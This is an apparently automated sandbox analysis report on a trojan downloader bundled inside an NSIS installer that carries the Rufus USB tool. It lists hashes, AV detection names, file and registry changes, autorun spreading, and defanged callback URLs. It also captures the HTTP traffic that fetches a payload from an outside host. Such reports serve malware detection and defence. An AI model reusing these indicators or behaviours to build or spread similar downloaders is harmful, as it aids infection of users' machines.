Trojan.NSIS.StartPage_bb77f0affa
TrojanDownloader:Win32/Adload (Microsoft), Trojan-Downloader.NSIS.Adload.bx (Kaspersky), Trojan.Win32.Generic!BT (VIPRE), Trojan.Vittalia.7648 (DrWeb), Artemis!BB77F0AFFAA5 (McAfee), PUA.Downloader (Symantec), Win32:Malware-gen (AVG), Win32:Malware-gen (Avast), Trojan.NSIS.StartPage.FD, GenericAutorunWorm.YR, BankerGeneric.YR (Lavasoft MAS)
Behaviour: Trojan-Downloader, Banker, Trojan, Worm, WormAutorun, Malware
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
| Requires JavaScript enabled! |
|---|
MD5: bb77f0affaa5c3055369cacfdb9e73d1
SHA1: 5ccb04f94b5fa8dba7f67c8871b57d2c3bd37689
SHA256: ea4ff52310d35b2a1902149b388e937431e30bd91a239d42e2df1ffdcec5aa9e
SSDeep: 24576:kbOZICj9YJyWdy5K cTvG2JD1pM7bvQOp:gOZBjEyWduK GHJ5pM7sO
Size: 998954 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: StdLib
Created at: 2009-12-06 00:50:52
Analyzed on: Windows7 SP1 32-bit
Summary:
Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).
Payload
| Behaviour | Description |
|---|---|
| WormAutorun | A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Trojan's file once a user opens a drive's folder in Windows Explorer. |
Process activity
The Trojan creates the following process(es):
No processes have been created.
The Trojan injects its code into the following process(es):
setup.exe:1948
%original file name%.exe:2624
Mutexes
The following mutexes were created/opened:
No objects were found.
File activity
The process setup.exe:1948 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
C:\Windows\System32\GroupPolicy\gpt.ini (261 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp\rufus.ini~ (55 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Ruf5495.tmp (882 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp\rufus.ini (55 bytes)
C:\Windows\System32\GroupPolicy\Machine\Registry.pol (376 bytes)
The Trojan deletes the following file(s):
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp\rufus.ini~ (0 bytes)
The process %original file name%.exe:2624 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp\AcLMoxtd4o (166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8D93UTC3\launch_reb[1].htm (166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp\inetc.dll (44 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp\B (16304 bytes)
The Trojan deletes the following file(s):
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp\AcLMoxtd4o (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy1D02.tmp (0 bytes)
Registry activity
The process setup.exe:1948 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{3934F55C-95DE-4994-BC88-44E0A74D2B8A}Machine\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoDriveTypeAutoRun" = "158"
The Trojan deletes the following registry key(s):
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{3934F55C-95DE-4994-BC88-44E0A74D2B8A}Machine\Software]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{3934F55C-95DE-4994-BC88-44E0A74D2B8A}Machine\Software\Microsoft\Windows]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{3934F55C-95DE-4994-BC88-44E0A74D2B8A}User]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{3934F55C-95DE-4994-BC88-44E0A74D2B8A}Machine\Software\Microsoft\Windows\CurrentVersion\Policies]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{3934F55C-95DE-4994-BC88-44E0A74D2B8A}Machine\Software\Microsoft]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{3934F55C-95DE-4994-BC88-44E0A74D2B8A}Machine\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{3934F55C-95DE-4994-BC88-44E0A74D2B8A}Machine]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{3934F55C-95DE-4994-BC88-44E0A74D2B8A}Machine\Software\Microsoft\Windows\CurrentVersion]
The process %original file name%.exe:2624 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Tracing\bb77f0affaa5c3055369cacfdb9e73d1_RASMANCS]
"EnableConsoleTracing" = "0"
"FileTracingMask" = "4294901760"
"MaxFileSize" = "1048576"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
[HKLM\SOFTWARE\Microsoft\Tracing\bb77f0affaa5c3055369cacfdb9e73d1_RASMANCS]
"FileDirectory" = "%windir%\tracing"
[HKLM\SOFTWARE\Microsoft\Tracing\bb77f0affaa5c3055369cacfdb9e73d1_RASAPI32]
"EnableFileTracing" = "0"
[HKLM\SOFTWARE\Microsoft\Tracing\bb77f0affaa5c3055369cacfdb9e73d1_RASMANCS]
"EnableFileTracing" = "0"
[HKLM\SOFTWARE\Microsoft\Tracing\bb77f0affaa5c3055369cacfdb9e73d1_RASAPI32]
"FileDirectory" = "%windir%\tracing"
[HKLM\SOFTWARE\Microsoft\Tracing\bb77f0affaa5c3055369cacfdb9e73d1_RASMANCS]
"ConsoleTracingMask" = "4294901760"
[HKLM\SOFTWARE\Microsoft\Tracing\bb77f0affaa5c3055369cacfdb9e73d1_RASAPI32]
"FileTracingMask" = "4294901760"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 3E 00 00 00 09 00 00 00 00 00 00 00"
[HKLM\SOFTWARE\Microsoft\Tracing\bb77f0affaa5c3055369cacfdb9e73d1_RASAPI32]
"EnableConsoleTracing" = "0"
"ConsoleTracingMask" = "4294901760"
"MaxFileSize" = "1048576"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"AutoConfigURL"
Dropped PE files
| MD5 | File path |
|---|---|
| c17103ae9072a06da581dec998343fc1 | c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp\System.dll |
| c498ae64b4971132bba676873978de1e | c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp\inetc.dll |
| 48bd644dc8155e7983749aada88d5e00 | c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp\setup.exe |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
No anomalies have been detected.
Propagation
A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Trojan's file once a user opens a drive's folder in Windows Explorer.
VersionInfo
No information is available.
PE Sections
| Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
|---|---|---|---|---|---|
| .text | 4096 | 23628 | 24064 | 4.46394 | 856b32eb77dfd6fb67f21d6543272da5 |
| .rdata | 28672 | 4764 | 5120 | 3.4982 | dc77f8a1e6985a4361c55642680ddb4f |
| .data | 36864 | 154712 | 1024 | 3.3278 | 7922d4ce117d7d5b3ac2cffe4b0b5e4f |
| .ndata | 192512 | 40960 | 0 | 0 | d41d8cd98f00b204e9800998ecf8427e |
| .rsrc | 233472 | 36448 | 36864 | 2.62545 | 95c55e2fae46438a6a462e47f55699c7 |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Total found: 1
8c78b2199b7c528151d96f4d20cab2d2
URLs
| URL | IP |
|---|---|
| hxxp://get.erattempth.club/launch_reb.php?p=sevenzip&tid=13810760&pid=536&n=SERDbG9uZSA2LjAuNSBFbnRlcnByaXNlIEVkaXRpb24gUG9ydGFibGUgKyBCb290IEltYWdl&b_typ=pe | |
| dns.msftncsi.com | |
| get.ercationiv.club |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
ET POLICY User-Agent (NSIS_Inetc (Mozilla)) - Sometimes used by hostile installers
Traffic
GET /launch_reb.php?p=sevenzip&tid=13810760&pid=536&n=SERDbG9uZSA2LjAuNSBFbnRlcnByaXNlIEVkaXRpb24gUG9ydGFibGUgKyBCb290IEltYWdl&b_typ=pe HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: get.erattempth.club
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Mon, 10 Jul 2017 00:02:47 GMT
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.3.3
Content-Length: 166
Connection: close
Content-Type: text/html; charset=UTF-8s=cheat..u=hXXp://gold.bellverse.bid/stub_maker.php?program=sevenzip&t
id=13810760&pid=536&b_typ=pe&reb=1&name=HDClone 6.0.5 Enterprise Editi
on Portable + Boot Image..
The Trojan connects to the servers at the folowing location(s):
.text
`.rdata
@.data
.ndata
.rsrc
uDSSh
.DEFAULT\Control Panel\International
Software\Microsoft\Windows\CurrentVersion
GetWindowsDirectoryA
KERNEL32.dll
ExitWindowsEx
USER32.dll
GDI32.dll
SHFileOperationA
ShellExecuteA
SHELL32.dll
RegEnumKeyA
RegCreateKeyExA
RegCloseKey
RegDeleteKeyA
RegOpenKeyExA
ADVAPI32.dll
COMCTL32.dll
ole32.dll
VERSION.dll
verifying installer: %d%%
hXXp://nsis.sf.net/NSIS_Error
... %d%%
~nsu.tmp
%u.%u%s%s
RegDeleteKeyExA
%s=%s
*?|<>/":
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp\setup.exe
ip&tid=13810760&pid=536&b_typ=pe&reb=1&name=HDClone 6.0.5 Enterprise Edition Portable + Boot Image
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp\B->C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp\setup.exe
zip&tid=13810760&pid=536&b_typ=pe&reb=1&name=HDClone 6.0.5 Enterprise Edition Portable + Boot Image
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp\B
etc.dll
hXXp://VVV.usertrust.com1
OLG.QNJ
<asmv3:windowsSettings xmlns="hXXp://schemas.microsoft.com/SMI/2005/WindowsSettings">
</asmv3:windowsSettings>
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
publicKeyToken="6595b64144ccf1df"
<requestedExecutionLevel
<!-- If you don't have those in your app, Windows 10's GetVersionEx() -->
<!-- DELIBERATELY reports the WRONG version... which brings us to -->
<!-- Windows 10 -->
<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/><!-- Windows 8.1 -->
<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/><!-- Windows 8 -->
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/><!-- Windows 7 -->
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/><!-- Windows Vista -->
<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>KERNEL32.DLL
COMDLG32.DLL
CRYPT32.dll
msvcrt.dll
SETUPAPI.dll
SHLWAPI.dll
WININET.DLL
WINTRUST.dll
CryptMsgClose
3hXXp://crl.usertrust.com/AddTrustExternalCARoot.crl05
hXXp://ocsp.usertrust.com0
1hXXp://crl.usertrust.com/UTN-USERFirst-Object.crl0t
1hXXp://crt.usertrust.com/UTNAddTrustObject_CA.crt0%
hXXps://secure.comodo.net/CPS0A
0hXXp://crl.comodoca.com/COMODOCodeSigningCA2.crl0r
0hXXp://crt.comodoca.com/COMODOCodeSigningCA2.crt0$
hXXp://ocsp.comodoca.com0
support@akeo.ie0
1hXXp://crl.usertrust.com/UTN-USERFirst-Object.crl05
hXXps://secure.comodo.net/CPS0F
5hXXp://crl.comodoca.com/COMODOSHA256CodeSigningCA.crl0w
5hXXp://crt.comodoca.com/COMODOSHA256CodeSigningCA.crt0$
9!9-9B9}9
.reloc
System.dll
callback%d
st.com1
@.reloc
u.Uj@
MSVCRT.dll
HttpSendRequestA
HttpSendRequestExA
HttpQueryInfoA
FtpCreateDirectoryA
FtpOpenFileA
HttpOpenRequestA
HttpAddRequestHeadersA
HttpEndRequestA
InternetCrackUrlA
WININET.dll
inetc.dll
Open URL Error
URL Parts Error
FtpCreateDir failed (550)
Error FTP path (550)
Downloading %s
%dkB (%d%%) of %dkB @ %d.dkB/s
(%d %s%s remaining)
REST %d
SIZE %s
Content-Length: %d
Content-Type: application/x-www-form-urlencoded
Authorization: basic %s
Proxy-authorization: basic %s
%s:%s
FtpCommandA
wininet.dll
%u MB
%u kB
%u bytes
%d:d:d
%s - %s
(Err=%d)
NSIS_Inetc (Mozilla)
Filename: %s
/password
Uploading %s
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp
nsn1D12.tmp
s\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp\setup.exe
Clone 6.0.5 Enterprise Edition Portable + Boot Image
\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp\AcLMoxtd4o
old.bellverse.bid/stub_maker.php?program=sevenzip&tid=13810760&pid=536&b_typ=pe&reb=1&name=HDClone 6.0.5 Enterprise Edition Portable + Boot Image
c:\%original file name%.exe
%original file name%.exe
ers\"%CurrentUserName%"\AppData\Local\Temp\nsy1D02.tmp
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\
201707100002
hXXp://gold.bellverse.bid/stub_maker.php?program=sevenzip&tid=13810760&pid=536&b_typ=pe&reb=1&name=HDClone 6.0.5 Enterprise Edition Portable + Boot Image
6667555@
MMMÌc
=:6'=:6!
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Nullsoft.NSIS.exehead" type="win32"/><description>Nullsoft Install System v2.46</description><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="requireAdministrator" uiAccess="false"/></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/></application></compatibility></assembly>Akeo Consulting (hXXp://akeo.ie)
2.8.886
hXXp://VVV.gnu.org/copyleft/gpl.html
rufus.exe
%original file name%.exe_2624_rwx_10004000_00001000:
callback%d
setup.exe_1948:
`.rsrc
UUUU%UUUU
?:\Windows\System32\sysprep\unattend.xml
00:00:00
*Windows 7 SP1 32 bit
Replace the disk, and then press any key
Press any key to reboot...
Press any key to restart
freeldr.sys not found
TCPAu$
TCPA
TCPAf
Error loading operating system
Missing operating system
TCPAu2
Press any key to boot from USB.
Missing operating system.
Operating system load error.
filesystem type "????????" not supported
libgcc_s_dw2-1.dll
libgcj-16.dll
%sInterrupting at block %I64u
%s%lu
Block %lu: %s error
%sError %d adding to in-memory bad block list
%sInvalid number of passes
%sError while allocating buffers
%sChecking from block %lu to %lu
%sUsing offset %d for fake device check
%sWriting test pattern 0xX
%sWeird value (%ld) in do_write
%sReading and comparing
%sWeird value (%ld) in do_read
%sError %d while creating in-memory bad blocks list
Failed to wait for event for checksum thread #%d: %s
Failed to set event for checksum thread #%d: %s
Computing checksum for '%s'...
Unable to create checksum thread event: %s
Unable to start checksum thread #%d
Could not open file: %s
Could not signal checksum thread %d: %s
Read error: %s
Checksum threads failed to signal: %s
Checksum threads did not finalize: %s
SHA256: %s
Unable to get system directory: %s
\diskcopy.dll
Unable to open %s: %s
MS-DOS disk image is too small (%d bytes)
FAT File %s would be out of bounds: %X, %X
%X, %X
COMMAND.COM
Patching COMMAND.COM...
IO.SYS
Patching IO.SYS...
Unable to create file '%s': %s.
Could not write file '%s': %s.
Could not set timestamps: %s
Successfully wrote '%s' (%d bytes)
C:\Windows\System32
KEYB COM
KEYBOARDSYS
KEYBRD2 SYS
KEYBRD3 SYS
KEYBRD4 SYS
KERNEL.SYS
DISPLAY.EXE
KEYB.EXE
MODE.COM
KEYBOARD.SYS
KEYBRD2.SYS
KEYBRD3.SYS
KEYBRD4.SYS
ega.cpx
ega2.cpx
ega3.cpx
ega4.cpx
ega5.cpx
ega6.cpx
ega7.cpx
ega8.cpx
ega9.cpx
ega10.cpx
ega11.cpx
ega12.cpx
ega13.cpx
ega14.cpx
ega15.cpx
ega16.cpx
ega17.cpx
ega18.cpx
Someone missed a keyboard!
ega.cpi
ega2.cpi
device=\locale\display.sys con=(ega,,1)
ega3.cpi
Could not scan keyboard layout name - falling back to US as default
Windows KBID 0xx
Unable to match KBID, trying LangID 0xx
Will use DOS keyboard '%s' [%s]
Will use codepage %d [%s]
\AUTOEXEC.BAT
Unable to create 'AUTOEXEC.BAT': %s.
echo Using %s keyboard with %s codepage [%d]
Successfully wrote 'AUTOEXEC.BAT'
\CONFIG.SYS
Unable to create 'CONFIG.SYS': %s.
%s1%c Use %s keyboard with %s codepage [%d]
%s2%c Use %s keyboard with %s codepage [%d]
Successfully wrote 'CONFIG.SYS'
GOTO %%CONFIG%%
mode con codepage prepare=((%d) \locale\%s) > NUL
mode con codepage select=%d > NUL
keyb %s,,\locale\%s
Unable to find an EGA file with codepage %d [%s]
Keyboard id '%s' is not supported - falling back to 'us'
Portuguese
Czech Kamenicky
Czech Kamenicky (Alt)
keyboard.sys
keybrd2.sys
keybrd3.sys
keybrd4.sys
Could not open drive %s: %s
Opened drive %s for write access
Could not get exclusive access to device %s: %s
\\.\MountPointManager
\\.\PHYSICALDRIVE%d
Could not access first GUID volume: %s
Could not access next GUID volume: %s
'%s' is not a GUID volume name
Failed to get device path for GUID volume '%s': %s
Skipping GUID volume for '%s'
Could not open GUID volume '%s': %s
Could not get Disk Extents: %s
Could not get device number for device %s: %s
Ignoring drive '%s' as it spans multiple disks (RAID?)
Device Number for device %s is too big (%d) - ignoring device
GetLogicalDriveStrings failed: %s
GetLogicalDriveStrings: Buffer too small (required %d vs. %d)
\\.\%c:
\\.\#:
Ignoring autorun.inf label for drive %c: %s
Using autorun.inf label for drive %c: '%s'
#:\autorun.inf
%s does not have an x86 %s
%s has a %s %s
%s has an unknown %s
Volume does not have an x86 %s
Drive has a %s %s
Volume has an unknown FAT16 or FAT32 %s
Volume has an unknown %s
Could not unmount drive: %s
Volume is already mounted, but as %c: instead of %c: - Unmounting...
Failed to unmount volume: %s
%s already mounted, but volume GUID could not be checked: %s
%s already mounted, but volume GUID doesn't match:
expected %s, got %s
%s was already mounted as %s
Could not get the DOS volume name for '%s': %s
Could not get the DOS device list: %s
Could not find partition mapping for %s
Could not find the DOS volume name for partition '%s': %s
Could not mount '%s' to '%s': %s
Successfully mounted '%s' (USB partition %d) as '%s'
Could not unmount '%s': %s
Successfully unmounted '%s'
Failed to open %c: for flushing: %s
Failed to flush %c: %s
Successfully remounted %s on %s
Failed to remount %s on %s
Could not remount %s %s
Could not refresh drive layout: %s
uefi-ntfs.img
Could not zero MSR: %s
Reserved %I64i tracks (%s) for extra partition
Unsupported file system
Could not access uefi-ntfs.img
Write error: %s
Could not reset disk: %s
Could not set drive layout: %s
Could not delete drive layout: %s
No volume information for drive 0xx
Could not get geometry for drive 0xx: %s
Warning: Drive 0xx reports a sector size of %d - Correcting to 512 bytes.
Disk type: %s, Sector Size: %d bytes
Cylinders: %I64i, TracksPerCylinder: %d, SectorsPerTrack: %d
Could not get layout for drive 0xx: %s
Partition type: MBR, NB Partitions: %d
Disk ID: 0xX %s
Partition %d%s:
Type: %s (0xx)
Size: %s (%I64i bytes)
Start Sector: %d, Boot: %s, Recognized: %s
Partition type: GPT, NB Partitions: %d
Disk GUID: %s
Max parts: %d, Start Offset: %I64i, Usable = %I64i bytes
Partition %d:
Type: %s
Name: '%s'
ID: %s
Windows 95B/98/98SE/ME
Windows 2000/XP/2003
Windows Vista
Windows 7
Windows Mobile XIP
Windows Mobile IMGFS
Windows Hibernation
Closed Windows format prompt
Microsoft Windows
Unsupported cluster size
Volume is too %s
FormatExCallback: Received unhandled command 0x02%X - aborting
ChkdskExCallback: received unhandled command %X
Erasing %d sectors
read error: %s
write error: Wrote %d bytes, expected %d bytes
write error: %s
FAT label is mostly underscores. Using '%s' label instead.
Using %s %s partition boot record
FAT16 is not supported for KolibriOS
New volume does not have a %s FAT32 boot sector - aborting
Confirmed new volume has a %s FAT32 boot sector
Setting %s FAT32 boot sector for boot...
Unsupported FS for FS BR processing - aborting
IOCTL_DISK_GET_DRIVE_GEOMETRY error: %s
IOCTL_DISK_GET_PARTITION_INFO error: %s
This drive is too big for FAT32 - max 2TB supported
Size : %s %u sectors
Cluster size %d bytes, %d Bytes Per Sector
Volume ID is %x:%x
%d Reserved Sectors, %d Sectors per FAT, %d FATs
%d Total clusters
%d Free Clusters
Clearing out %d sectors for reserved sectors, FATs and root cluster...
FAT #%d sector at address: %d
Could not set label: %s
Will use '%c:' as volume mountpoint
Failed to delete mountpoint %s: %s
\rufus_ddd_ddd.log
Rufus bad blocks check started on: d.d.d d:d:d
Bad Blocks: Check completed, %d bad block%s found. (%d/%d/%d errors)
Rufus bad blocks check ended on: d.d.d d:d:d
Could not open image '%s': %s
Remounted %s on %s
Could not close volume: %s
Unable to locate %s() in %s.dll: %s
Using cluster size: %d bytes
%s format was selected
Could not enable NTFS compression: %s
Format error: %s
Warning: converting a non FAT16 partition to FAT16 LBA: FS type=0xx
Warning: converting a non FAT32 partition to FAT32 LBA: FS type=0xx
Set bootable USB partition as 0xX
Using %s MBR
Failed to notify system about disk properties update: %s
grldr.mbr
grldr.mbr is either not present or too small
core.img
Could not access core.img
Found volume GUID %s
Could not remount %s on %s: %s
Spock gone crazy error in %s:%d
Installing: %s (Grub4DOS loader)
rufus_files\grub4dos-0.4.6a\grldr
Failed to copy file: %s
Windows To Go mode selected
Could not mount ISO for Windows To Go installation
Mounted ISO as '%s'
Failed to apply Windows To Go image
Formatting EFI system partition %s
%s\bcdboot.exe %s\Windows /v /f ALL /s %s
Failed to enable boot using command '%s'
Copying 'unattend.xml', to disable the use of the Windows Recovery Environment...
unattend.xml
Could not write '%s'
Installing: %s (KolibriOS loader)
Could not create directory '%s': %s
Windows\Boot\EFI\bootmgfw.efi
\minint\txtsetup.sif
\i386\txtsetup.sif
SetupSourceDevice = "\device\harddisk%d\partition1"
%c:\%s\ntdetect.com
%c:\ntdetect.com
%c:\%s\txtsetup.sif
%c:\txtsetup.sif
Did not copy %s as %s: %s
Failed to add SetupSourceDevice in %s
Successfully added '%s' to %s
%c:\%s\setupldr.bin
%c:\BOOTMGR
Could not open %s for patching: %s
Could not get size for file %s: %s
Could not read file %s: %s
Patching file %s
0xX: '%s' -> '%s'
0xX: '%s' -> 'rdisk(%c)'
0xX: '%s' -> '%s%s'
Could not write patched file: %s
Re-mounted volume as '%c:' after error
?:\efi\boot\bootx64.efi
Saving to image '%s'...
B%sautorun.inf
%s already exists - keeping it
Unable to create %s
NOTE: This may be caused by a poorly designed security solution. See hXXp://rufus.akeo.ie/compatibility.
Created: %s
Unable to create icon '%s': %s.
Could not write icon header: %s.
Could not write ICONDIRENTRY[%d]: %s.
Could not write ICONDIRENTRY[%d] offset: %s.
Could not write icon data #%d: %s.
libcdio: %s
grub.cfg
bootmgr.efi
kolibri.img
setupldr.sys
install.wim
?:\%s\%s
install.swm
ldlinux.sys
Extracting: %s
Patched %s: '%s'
isolinux.cfg
Duplicated %s to %s
cd9660:/dev/iso9660/%s
msdosfs:/dev/msdosfs/%s
Could not set timestamp for directory '%s': %s
%s%s/%s
%s/syslinux-%s/%s
Could not replace file: %s
File name sanitized to '%s'
Unable to create file: %s
autorun.inf
NOTE: This is usually caused by a poorly designed security solution. See hXXp://rufus.akeo.ie/compatibility.
Error reading UDF file %s
Error writing file: %s
Could not set timestamp: %s
%s%s/
Could not access directory %s
Ignoring Rock Ridge symbolic link to '%s'
Error reading ISO9660 file %s at LSN %lu
GRUB version %s
Unable to create file %s: %s
Could not locate file %s in ISO image
Error reading UDF file %s
Error writing file %s: %s
Unable to open image '%s'.
Could not get ISO-9660 file information for file %s
Error reading ISO9660 file %s at LSN %lu
%sImage is an UDF image
%sCould not locate UDF root directory
%s'%s' doesn't look like an ISO image
%sImage is an ISO9660 image
%sThis image will be extracted using %s extensions (if present)
%sThis image will not be extracted using any ISO extensions
/boot/i386/loader/isolinux.cfg
/boot/x86_64/loader/isolinux.cfg
Will use '%s' for Syslinux
Could not access %s
Found conflicting %s versions:
'%s' (%d.d%s) vs '%s' (%d.d%s)
%d.d
Detected Syslinux version: %s%s (from '%s')
Warning: Could not detect Isolinux version - Forcing to %s (embedded)
/%s/txtsetup.sif
.\txtsetup.sif~
Checking txtsetup.sif:
OsLoadOptions = %s
boot/grub/i386-pc/normal.mod
Could not read Grub version from 'boot/grub/i386-pc/normal.mod'
Detected Grub version: %s
%s\syslinux.cfg
%s\syslinux.org
Renaming: %s
Unable to create %s - booting from USB will not work
CONFIG %s
APPEND %s/
Could not open ISO '%s': %s
Could not mount ISO '%s': %s
Could not obtain physical path for mounted ISO '%s': %s
ntdetect.com
setupldr.bin
txtsetup.sif
.\isolinux.bin
syslinux.cfg
extlinux.conf
bootia32.efi
bootx64.efi
bootia64.efi
bootarm.efi
localization: invalid MSG_ index
%s(%d): operation forbidden (main dialog title cannot be changed)
%s(%d): control '%s' is not part of dialog '%s'
MSG_d UNTRANSLATED
PrintStatusInfo: invalid MSG_ID
(default) MSG_d UNTRANSLATED
localization: could not find locale for LCID: 0xX. Will default to '%s'
localization: could not find locale for name '%s'. Will default to '%s'
%s(%d): only the [t]ext command can be applied to a message (MSG_###)
%s(%d): failed to convert the numeric value in '%'
%s(%d): unknown control '%s'
%s(%d): '%s' is not a group ID
localization: using locale base '%s'
%s(%d): locale base '%s' not found - ignoring
Will use default UI locale 0xX
Detected installed Windows Language Pack for 0xX (%s)
NOTE: No Windows Language Pack is installed for %s on this system.
IDC_NBPASSES
IDC_WINDOWS_INSTALL
IDC_WINDOWS_TO_GO
IDC_WEBSITE
IDC_DOWNLOAD_URL
MSG_000
MSG_001
MSG_002
MSG_003
MSG_004
MSG_005
MSG_006
MSG_007
MSG_008
MSG_009
MSG_010
MSG_011
MSG_012
MSG_013
MSG_014
MSG_015
MSG_016
MSG_017
MSG_018
MSG_019
MSG_020
MSG_021
MSG_022
MSG_023
MSG_024
MSG_025
MSG_026
MSG_027
MSG_028
MSG_029
MSG_030
MSG_031
MSG_032
MSG_033
MSG_034
MSG_035
MSG_036
MSG_037
MSG_038
MSG_039
MSG_040
MSG_041
MSG_042
MSG_043
MSG_044
MSG_045
MSG_046
MSG_047
MSG_048
MSG_049
MSG_050
MSG_051
MSG_052
MSG_053
MSG_054
MSG_055
MSG_056
MSG_057
MSG_058
MSG_059
MSG_060
MSG_061
MSG_062
MSG_063
MSG_064
MSG_065
MSG_066
MSG_067
MSG_068
MSG_069
MSG_070
MSG_071
MSG_072
MSG_073
MSG_074
MSG_075
MSG_076
MSG_077
MSG_078
MSG_079
MSG_080
MSG_081
MSG_082
MSG_083
MSG_084
MSG_085
MSG_086
MSG_087
MSG_088
MSG_089
MSG_090
MSG_091
MSG_092
MSG_093
MSG_094
MSG_095
MSG_096
MSG_097
MSG_098
MSG_099
MSG_100
MSG_101
MSG_102
MSG_103
MSG_104
MSG_105
MSG_106
MSG_107
MSG_108
MSG_109
MSG_110
MSG_111
MSG_112
MSG_113
MSG_114
MSG_115
MSG_116
MSG_117
MSG_118
MSG_119
MSG_120
MSG_121
MSG_122
MSG_123
MSG_124
MSG_125
MSG_126
MSG_127
MSG_128
MSG_129
MSG_130
MSG_131
MSG_132
MSG_133
MSG_134
MSG_135
MSG_136
MSG_137
MSG_138
MSG_139
MSG_140
MSG_141
MSG_142
MSG_143
MSG_144
MSG_145
MSG_146
MSG_147
MSG_148
MSG_149
MSG_150
MSG_151
MSG_152
MSG_153
MSG_154
MSG_155
MSG_156
MSG_157
MSG_158
MSG_159
MSG_160
MSG_161
